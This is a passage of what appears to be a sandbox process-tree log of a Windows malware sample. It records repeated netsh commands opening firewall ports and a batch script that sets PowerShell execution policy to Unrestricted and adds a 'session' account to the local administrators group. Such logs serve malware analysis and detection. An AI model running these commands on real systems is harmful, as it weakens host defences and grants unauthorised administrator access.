    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6344
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6416
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6620
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7052
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6964
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6424
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6768
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6784
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6836
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6216
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6604
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6660
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6524
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7136
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5308
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6756
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1492
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6820
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6992
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6208
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1952
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6400
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6500
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6908
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7036
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6856
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6536
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6464
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6528
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6524
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6904
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6976
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6396
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6804
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6520
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6764
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6984
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6368
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6992
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6856
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6560
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4088
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:3268
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6596
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6428
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6996
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6568
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6216
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6400
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1240
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6976
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:1948
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6172
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:3452
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6648
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6620
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6768
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6248
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6536
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6880
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6780
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6896
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6888
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6904
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6636
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6188
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6116
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5996
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:4776
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:1788
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:4252
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators session /ADD
      4⤵
      PID:4868
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3752
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:3624
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:2116
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5016
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1872
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4260
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3792
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2136
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1364
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2300
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:1432
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:4980
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:3316
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2504
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5568
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5888
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5308
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5776
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5484
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5696
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5356
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5612
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5220
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6160
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6236
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6380
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6500
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6660
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6776
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7032
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5420
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6180
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6236
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6324
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6480
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6620
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6928
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7060
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6176
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6392
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6560
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6700
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7048
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7096
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6136
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6404
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6548
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6892
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7040
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6176
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6480
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6468
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6912
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:7064
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6248
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:224
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5444
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6524
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6900
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6836
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6320
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5216
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6640
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6984
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:2504
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6880
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7072
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6612
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5616
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6884
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:2344
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6156
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6532
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5248
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:2876
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6908
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6836
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6460
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6136
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6824
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6180
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:2252
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6636
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6952
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6672
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:4744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6964
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6896
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6224
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6164
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6848
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6724
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6360
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6480
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:6596
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:5956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:5784
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6872
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7096
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 23998" dir=out action=allow protocol=UDP localport=26865
    3⤵
    PID:6316
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18052" dir=in action=allow protocol=UDP localport=27323
    3⤵
    PID:7056
- - C:\Windows\system32\netsh.exe
